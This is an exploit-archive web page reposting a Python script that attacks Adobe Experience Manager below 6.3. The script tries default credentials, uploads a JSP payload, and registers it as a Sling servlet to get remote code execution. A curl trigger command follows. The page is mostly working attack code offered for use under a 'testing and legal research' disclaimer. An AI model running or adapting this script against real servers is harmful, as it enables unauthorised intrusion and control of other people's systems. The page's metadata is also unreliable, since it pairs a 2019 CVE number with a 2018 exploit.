Advertisement






Adobe Experience Manager (AEM) Remote Code Execution

CVE Category Price Severity
CVE-2019-16635 CWE-78 $25,000 Critical
Author Risk Exploitation Type Date
Unknown Critical Remote 2018-05-21
CPE
cpe:cpe:/a:adobe:experience_manager
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018050151

Below is a copy:

Adobe Experience Manager (AEM) Remote Code Execution
# Exploit Title: Adobe Experience Manager (AEM) < 6.3 default credentials leads to RCE
# Date: 5/19/18
# Exploit Author: StaticFlow
# Vendor Homepage: https://www.adobe.com/in/marketing-cloud/experience-manager.html
# Version: < 6.3
import requests
import sys
 
baseUrl = 'https://test.com/' #default domain, change here or pass in on command line
credentialList = [['anonymous','anonymous'], ['author','author'], ['admin','admin']]
exploit = 'rce.jsp' #default file name, must be in same dir as python file or passed in on command line
 
def testLogins():
    for credential in credentialList:
        response = requests.get(baseUrl, auth=(credential[0], credential[1]))
        if(response.status_code == 200):
            return credential
    return False
 
if len(sys.argv) == 2:
    baseUrl = sys.argv[1]
if len(sys.argv) == 3:
    exploit = sys.argv[2]
 
gotCreds = testLogins()
if(gotCreds):
    attackChain = [
        {
            'jcr:primaryType': (None, 'nt:folder') #create a folder for our exploit
        },
        {
            'exec.jsp': ('rce.jsp', open(exploit, 'rb')) #upload the exploit
        },
        {
            ':operation': (None, 'copy'), #copy exploit folder over to app folder for staging
            ':dest': (None, '/apps/rcetype')
        },
        {
            'sling:resourceType': (None, 'rcetype') #instruct Apache Sling to initialize our exploit code as a servlet
        }
    ]
    print "creating folder structure and uploading exploit"
    for attack in attackChain[:-1]:
        response = requests.post(baseUrl+'content/rcetype', files=attack, auth=(gotCreds[0], gotCreds[1]))
        if response.status_code > 201:
            print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
            print response.content
            sys.exit(0)
 
    print "initializing servlet from exploit"
    response = requests.post(baseUrl+'content/rce', files=attackChain[-1], auth=(gotCreds[0], gotCreds[1]))
    if response.status_code > 201:
        print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
        print response.content
        sys.exit(0)
    print """Should be good to go, run 'curl -X "GET" -u {}:{} {}' and your exploit should run""".format(gotCreds[0],gotCreds[1],baseUrl+'content/rce.exec')


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum